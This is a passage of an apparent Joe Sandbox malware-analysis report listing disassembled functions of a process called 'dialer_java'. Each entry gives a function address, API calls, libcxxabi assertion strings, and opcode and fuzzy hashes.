                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: mallocrealloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$allocator$basic_string$starts_with(SV, "basic_")
                                  • API String ID: 948496778-4167058683
                                  • Opcode ID: 9392a488f175509cc51113372d72a0b877b6c5a8ab6e9babe2c6c6985595158c
                                  • Instruction ID: 99210ed3597a7a0f31b7d194d96d6aaf3b6f178b631c4b1aba599a06684bf613
                                  • Opcode Fuzzy Hash: 9392a488f175509cc51113372d72a0b877b6c5a8ab6e9babe2c6c6985595158c
                                  • Instruction Fuzzy Hash: 3E61F572A05B8681EF248B15E4842BD7BA0EB05F84F449372DA9D4B790DF3CE95AC708
                                  Function 00007FF695DDB520 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID: or<char>
                                  • API String ID: 1833655766-3520798227
                                  • Opcode ID: c86a95940dfd59be5a52cadd960e1fa1a6bb2816d717a95559760d92432bfea2
                                  • Instruction ID: 064459b2e5fd851b778ad8275707f82edc3aed1c242d699a2a0bbe474b7c8932
                                  • Opcode Fuzzy Hash: c86a95940dfd59be5a52cadd960e1fa1a6bb2816d717a95559760d92432bfea2
                                  • Instruction Fuzzy Hash: 8A518DB2A06B4682EA258F55F540269A3A1EB94BC4F00D276CB8E47751EF3CE599C700
                                  Function 00007FF695DC7F50 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 124COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assert$callocmemset
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/fallback_malloc.cpp$reinterpret_cast<size_t>(p + 1) % RequiredAlignment == 0$reinterpret_cast<size_t>(ptr) % RequiredAlignment == 0
                                  • API String ID: 1513271871-212362933
                                  • Opcode ID: dbf2372e7721cb1b03cfe6cbe79d7301f27338ad5526d3f9cf38ec1b38bf5fea
                                  • Instruction ID: e423f3e08145c6ec9e3ec5d7e10a7bf02ad8a2ce0bbc50f15ee1d7c608289544
                                  • Opcode Fuzzy Hash: dbf2372e7721cb1b03cfe6cbe79d7301f27338ad5526d3f9cf38ec1b38bf5fea
                                  • Instruction Fuzzy Hash: 83419E11F2995280FE359B15EA11AB963D1EF81F80F4162B5C80E83795EF3DAE4ED348
                                  Function 00007FF695DC2730 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • VirtualQuery.KERNEL32(?,?,?,?,00007FF695DEFEF8,00007FF695DEFEF8,?,?,00007FF695DC0000,?,00007FF695DC2521), ref: 00007FF695DC27F3
                                  • VirtualProtect.KERNEL32(?,?,?,?,00007FF695DEFEF8,00007FF695DEFEF8,?,?,00007FF695DC0000,?,00007FF695DC2521), ref: 00007FF695DC2857
                                  • memcpy.MSVCRT ref: 00007FF695DC2870
                                  • GetLastError.KERNEL32(?,?,?,?,00007FF695DEFEF8,00007FF695DEFEF8,?,?,00007FF695DC0000,?,00007FF695DC2521), ref: 00007FF695DC28B3
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                  • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                  • API String ID: 2595394609-2123141913
                                  • Opcode ID: 9138589ab96e5059ed5b91dbf10de36bae820b7dd10cec232302c703205bbebd
                                  • Instruction ID: dc02ee2d5111cc82334b869c175b23660ac796db256ad86e7e8045da862139e3
                                  • Opcode Fuzzy Hash: 9138589ab96e5059ed5b91dbf10de36bae820b7dd10cec232302c703205bbebd
                                  • Instruction Fuzzy Hash: 1A418C62A19A0281EE31CB55D8846B927E0EF46F80F5556B2CE4EC37A1DF3CED4AC705
                                  Function 00007FF695DDB372 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 64COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assertmemcpyrealloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$basi$basic_ostream$starts_with(SV, "basic_")
                                  • API String ID: 2326172077-1855325571
                                  • Opcode ID: daff190b208ee239b92a8ff6802495cf067ff4514613a718e17146f5ae89fa4f
                                  • Instruction ID: 13c5881280da159b862aaa1934976e355bddeaf12d65ebb9db46281189806cea
                                  • Opcode Fuzzy Hash: daff190b208ee239b92a8ff6802495cf067ff4514613a718e17146f5ae89fa4f
                                  • Instruction Fuzzy Hash: DE11C4F2F05A0282EA748B05F580379A3A1EF14FC5F44A175CA0D47B94EF2CE9598704
                                  Function 00007FF695DC1880 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 33COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assertabort
                                  • String ID: (base != 0) && "DW_EH_PE_datarel is invalid with a base of 0"$/home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_personality.cpp$actions & (_UA_SEARCH_PHASE | _UA_FORCE_UNWIND)$actions & (_UA_SEARCH_PHASE | _UA_HANDLER_FRAME | _UA_FORCE_UNWIND)$actions & _UA_SEARCH_PHASE
                                  • API String ID: 1072228434-30274522
                                  • Opcode ID: 446287974f43067f5742b1829c412f7f497fe5859eb705efff3feace76f7cb6b
                                  • Instruction ID: ae728dbc8c8fdd62f5101d7d878157c9c0cd0d6a5cd73073d505d2c3cce36cd1
                                  • Opcode Fuzzy Hash: 446287974f43067f5742b1829c412f7f497fe5859eb705efff3feace76f7cb6b
                                  • Instruction Fuzzy Hash: 37F05E62E1A91690EE30879AEC815B85399EF14F65F511BB2DD1DC62E0EE2CA94EC204
                                  Function 00007FF695DD4BE0 Relevance: 12.2, APIs: 8, Instructions: 247COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcmpmemcpy
                                  • String ID:
                                  • API String ID: 2517790541-0
                                  • Opcode ID: 7346dd3206704345a6af56fcc80ff1099bfbb1bfe8e3ddd91a199a9fc1cc2900
                                  • Instruction ID: f1f8c9274935add57bcf54af85280da8f6b7e87b0d4c488c4b55beab7da2b655
                                  • Opcode Fuzzy Hash: 7346dd3206704345a6af56fcc80ff1099bfbb1bfe8e3ddd91a199a9fc1cc2900
                                  • Instruction Fuzzy Hash: 4291B4B3A05B8682EB358F16E444369A3E0FB54B80F049272CF9D47BA1EF7CE9558704
                                  Function 00007FF695DD5480 Relevance: 12.2, APIs: 8, Instructions: 222COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 820f43f822463fb6ccee1dd20fe9ec16f7cf86f838d61afeeac975018113ba4f
                                  • Instruction ID: 265b2ef6a0e6a42f0f65783ed2a2c1f51b814da0191c6760e85de12ed251aa69
                                  • Opcode Fuzzy Hash: 820f43f822463fb6ccee1dd20fe9ec16f7cf86f838d61afeeac975018113ba4f
                                  • Instruction Fuzzy Hash: DF9161B2A05B4682EA358F55F45436DB3E1EB58BC0F549172CB9E477A0EF3CE4498304
                                  Function 00007FF695DC71C0 Relevance: 10.9, APIs: 7, Instructions: 368COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fputwc
                                  • String ID:
                                  • API String ID: 761389786-0
                                  • Opcode ID: 5170ea0f942b3d93673314322599268af59ede64674dcde32236e23149b41f4c
                                  • Instruction ID: 3f9af2ad8cbbd8b129d821ec58f95593fd2453eaba4e4726079d78239cb8412a
                                  • Opcode Fuzzy Hash: 5170ea0f942b3d93673314322599268af59ede64674dcde32236e23149b41f4c
                                  • Instruction Fuzzy Hash: 3AE15172A186028BEF788E16E15473AB6D1EB44F50F00627DDB9BC6A91DF2CEC44C748
                                  Function 00007FF695DCF9C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 247COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$memcpyrealloc
                                  • String ID: auto
                                  • API String ID: 2642181057-1723475450
                                  • Opcode ID: d68e97057976446f2cce18955a4260cb645a2ea6946946f02118f0da23deb918
                                  • Instruction ID: 59454f0789ae048b4c51f966e685c15deadeac464f38862a651888969501a0c5
                                  • Opcode Fuzzy Hash: d68e97057976446f2cce18955a4260cb645a2ea6946946f02118f0da23deb918
                                  • Instruction Fuzzy Hash: 78A1C162619B8281EE388B20E5443F96BE5EB04B90F445376CBAD863D1DF7CE959C304
                                  Function 00007FF695DE1280 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 217COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: 0
                                  • API String ID: 0-4108050209
                                  • Opcode ID: 91fbf0612a32bf460f63d29e70cfa5a713f3c52a70bc57ccc4705e96ca3739cc
                                  • Instruction ID: 1912df22bf00800480aa159102bbc3521279ca1d38162b4072a22052c76f0a3f
                                  • Opcode Fuzzy Hash: 91fbf0612a32bf460f63d29e70cfa5a713f3c52a70bc57ccc4705e96ca3739cc
                                  • Instruction Fuzzy Hash: 8171E022F0818246F7758AA6E58177DA6D1EB14F54F0463B1CE6E96BC2DE3CEC8D8704
                                  Function 00007FF695DDDEF0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 142COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$malloc
                                  • String ID: imaginary$noexcept
                                  • API String ID: 454241450-3971218317
                                  • Opcode ID: 87dcfbe6bad413ec65d64ef39e25c3b70162464389fa30d34c7d9aefbdbe6664
                                  • Instruction ID: e98b4d679a94c1d18f1bd532cf87517946c0760102ad5005ae9303983035a04b
                                  • Opcode Fuzzy Hash: 87dcfbe6bad413ec65d64ef39e25c3b70162464389fa30d34c7d9aefbdbe6664
                                  • Instruction Fuzzy Hash: 7C51A1B2A05F8682EB288F25F4407ADB3A0EB54F84F449676DB8D47794EF38D995C340
                                  Function 00007FF695DC16B0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 116COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: _assert$fflush
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_personality.cpp$actions & _UA_CLEANUP_PHASE$results.reason == _URC_HANDLER_FOUND
                                  • API String ID: 289967094-1554099779
                                  • Opcode ID: 53fe620101f0f1196f6f36d0f1a8cbc34963f56b63f02f4e93a45d900a4484cd
                                  • Instruction ID: 2b916231c2c75bcb1265aa250a75dcc3e133db147f789e8ef3bbf1c468a8c7b6
                                  • Opcode Fuzzy Hash: 53fe620101f0f1196f6f36d0f1a8cbc34963f56b63f02f4e93a45d900a4484cd
                                  • Instruction Fuzzy Hash: 8741A021B0D65281EE328B82E6407B9A3E1EF95F90F046371DE4D87BD4DF2DE9498349
                                  Function 00007FF695DDEB50 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: tInt$unsigned
                                  • API String ID: 471065373-1789806510
                                  • Opcode ID: ef3acf26705adc4dc0c40c1580519def5e7105bcddab961c785bcf0feaa8951c
                                  • Instruction ID: 6228e4e4c6b2ca5ffd0beaec3681bede5b09c8b158935cf71ffe1ed8a82a3f4a
                                  • Opcode Fuzzy Hash: ef3acf26705adc4dc0c40c1580519def5e7105bcddab961c785bcf0feaa8951c
                                  • Instruction Fuzzy Hash: A3416FB2A06B8682DA358F56F45426DB3A1EB64BC0F00C672CB9E47790EF3CE9458340
                                  Function 00007FF695DD12D2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF695DD1E5C
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF695DD1E55
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: mallocmemcpystrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 3344349799-3503049562
                                  • Opcode ID: 411cc94d638b4c5a65666b04f682356d8a7e8c8d03e2840adf31fc5fabca7cb3
                                  • Instruction ID: 89a3e97b9a2c42f17fec4329da05f2eaf85f5d7a852cb4f26edaf1b0d4c0553d
                                  • Opcode Fuzzy Hash: 411cc94d638b4c5a65666b04f682356d8a7e8c8d03e2840adf31fc5fabca7cb3
                                  • Instruction Fuzzy Hash: AE416322A09B4682EA71DB55F40017EA3E4EB41B80F541276DE8E87F55EF3CF949C744
                                  Function 00007FF695DDF160 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$_assert
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/Utility.h$CurrentPosition
                                  • API String ID: 940201557-3339543485
                                  • Opcode ID: 7acef73fbec41d6dfa1be67c13337ccc807f794cd771a4b3e4e2917c685efc0b
                                  • Instruction ID: b77e57ede0755b28ff3b26142e964f27a791465606ac35f3fad9d55147c50c46
                                  • Opcode Fuzzy Hash: 7acef73fbec41d6dfa1be67c13337ccc807f794cd771a4b3e4e2917c685efc0b
                                  • Instruction Fuzzy Hash: 194157B6A05F4682EF35CF56E44027967A1EB58F80F049672CF8E87794DF2CE845C604
                                  Function 00007FF695DE8410 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 79COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: memsetwcscatwcscpywcslen
                                  • String ID: $0$@
                                  • API String ID: 468205783-2347541974
                                  • Opcode ID: e183844e820dd185498d54a444cfdf65eda0e2a936280ba6ff7fda81fa3f1c34
                                  • Instruction ID: ec1dfc33be49944cb7fed7e14123f18996268d4894b3a3b091847cbae6b1b252
                                  • Opcode Fuzzy Hash: e183844e820dd185498d54a444cfdf65eda0e2a936280ba6ff7fda81fa3f1c34
                                  • Instruction Fuzzy Hash: 63418361D2C68285F720CB14F9043B9E7E0EBC5B44F0012B9E68D866A5DFBED94DCB05
                                  Function 00007FF695DDB364 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 56COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
